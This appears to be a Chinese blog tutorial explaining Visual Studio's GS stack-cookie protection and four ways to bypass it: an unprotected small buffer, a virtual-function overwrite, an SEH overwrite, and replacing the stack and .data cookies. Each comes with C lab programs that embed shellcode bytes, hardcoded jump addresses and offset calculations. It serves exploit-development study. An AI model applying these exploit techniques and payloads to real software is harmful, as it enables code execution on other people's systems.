漏洞利用原理(高级)

GS安全编译选项的保护原理

GS针对的是缓冲区溢出时覆盖函数函数返回地址这一特征。
VS2003及以后版本默认启用该选项

GS为了检测栈溢出,为每个函数调用增加了额外的数据和操作:

  • 在所有函数调用发生时,向栈内压入一个额外的随机DWORD,被称作“canary”,这里记为“Security Cookie”
  • Security Cookie位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本
  • 当栈中发生溢出时,Security Cookie先被淹没,然后才是EBP和返回地址
  • 在函数返回前,系统将执行额外的安全验证操作,称为Security Check
  • 在Security Check过程中,将比较栈中的Security Cookie与.data中的是否相同
  • 当检测到栈中发生溢出,将进入异常处理流程

在这里插入图片描述

GS不会应用的情况:

  • 函数不包含缓冲区
  • 函数被定义为具有变量参数列表
  • 函数使用无保护关键字标识
  • 函数在第一个语句中包含嵌入的内嵌汇编代码
  • 缓冲区不是8字节类型且大小不大于4字节

注:VS2015后引入了#pragma strict_gs_check可以为任意类型的函数添加Security Cookie

除了添加Security Cookie外,在VS2015后还使用了变量重排技术,会根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧高地址,防止其溢出影响其他局部变量。同时还将指针参数和字符串参数复制到内存低地址,防止函数参数被破坏。
在这里插入图片描述

GS的相关细节:

  • 系统以.data的第一个双字节作为Cookie的种子,或称原始Cookie
  • 在程序每次运行时Cookie的种子都不同
  • 在栈帧初始化以后,系统用ESP异或种子,作为当前函数的Cookie
  • 在函数返回前,用ESP还原Cookie的种子

注:本章实验均禁用优化选项。

利用未被保护的内存突破GS

示例代码(VS 2008):

#include <stdio.h>
#include <string.h>
#include <tchar.h>
int vulfunction(char * str){
	char arry[4];                //缓冲区不为8字节类型,且大小不超过4字节,默认是不开启GS的
	strcpy(arry,str);
	return 1;
}
int _tmain(int argc, _TCHAR* argv[]){
	char* str="yeath, the function is without GS";      //字符个数远超4个
	vulfunction(str);
	return 0;
}

在这里插入图片描述
在这里插入图片描述

覆盖虚函数突破GS

程序只有返回时,才会检查Security Cookie,在这之前没有进行任何检查措施。

C++的虚函数为我们提供了可能,示例代码:

#include "string.h"

class GSVirtual {
public :
	void gsv(char * src)
	{
		char buf[200];
		strcpy(buf, src);         //存在溢出漏洞,可能影响到虚表指针
		bar();         //调用虚函数
	}
	virtual void  bar()   //虚函数
	{
	}
};
int main()
{

	GSVirtual test;
	test.gsv(
		"\x04\x2b\x99\x7C"	     //“pop pop ret”的地址
		"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
		"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
		"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
		"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
		"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
		"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
		"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
		"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
		"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
		"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
		"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		);
	return 0;
}

先尝试传入199个\x90和1个\0,确定内存中变量与虚函数表的位置:
在这里插入图片描述
可以看到相差20个字节,随后程序面临虚函数的执行:
在这里插入图片描述
在这里插入图片描述
原始参数(402100)已经不用考虑,因为不在栈中。Buff存放在0012FE9C,位于ESP+4的位置,采用pop pop retn指令序列后就可跳转0012FE8C处执行。

原因:因为call eax后,会将返回地址入栈,多POP一次保证ret时栈顶为0012FE9C,需要找到内存中的pop edi pop esi ret指令。

攻击异常处理突破GS

GS机制并没有对S.E.H提供保护,因此可以通过攻击程序的异常处理绕过GS。

流程:

  • 首先覆盖掉异常处理函数指针
  • 然后触发一个异常

示例代码:

#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"             //shellcode所在的地址
;

void test(char * input)
{
	
	char buf[200];
	strcpy(buf,input);
    strcat(buf,input);     //将input追加到buf后面,由于strcpy的溢出导致strcat会从非法地址读取数据从而引发异常
}

void main()
{
	test(shellcode);	
}

首先将shellcode填充为不会异常的0x90,查看运行情况:

在这里插入图片描述
在这里插入图片描述
shellcode起始地址到最近的S.E.H的距离为:272个字节,所以在其中写入shellcode,并在272~276使用0x12FEA0填充。

同时替换栈中和.data中的Cookies突破GS

示例代码:

#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90"                            //在.data中设置新的cookie
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"                      //异或EBP与\x90\x90\x90\x90的结果,先进行验证
"\x90\x90\x90\x90"                      //覆盖EBP
"\x94\xFE\x12\x00"                      //shellcode的地址覆盖返回地址
;
void test(char * str, int i, char * src)
{
	char dest[200];
	if(i<0x9995)                     //对str+i到str+i+3进行赋值
	{
		char * buf=str+i;
		*buf=*src;
		*(buf+1)=*(src+1);
		*(buf+2)=*(src+2);
		*(buf+3)=*(src+3);
	    strcpy(dest,src);
	}
}
void main()
{
	char * str=(char *)malloc(0x10000);    //申请了0x10000个字节的空间
	test(str,0xFFFF2FB8,shellcode);	
}

先将shellcode赋值为8个0x90,查看Security Cookie的生成过程:
在这里插入图片描述
校验过程则相反,我们申请的malloc空间为:
在这里插入图片描述
malloc的地址为00410048,.data中cookie的地址为00403000,相较而言,malloc处于高地址,因此需要向低地址移动,应移动53320个字节,所以设置为0xFFFF2FB8(-53320)。

参考文献

《0day安全:软件漏洞分析技术》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值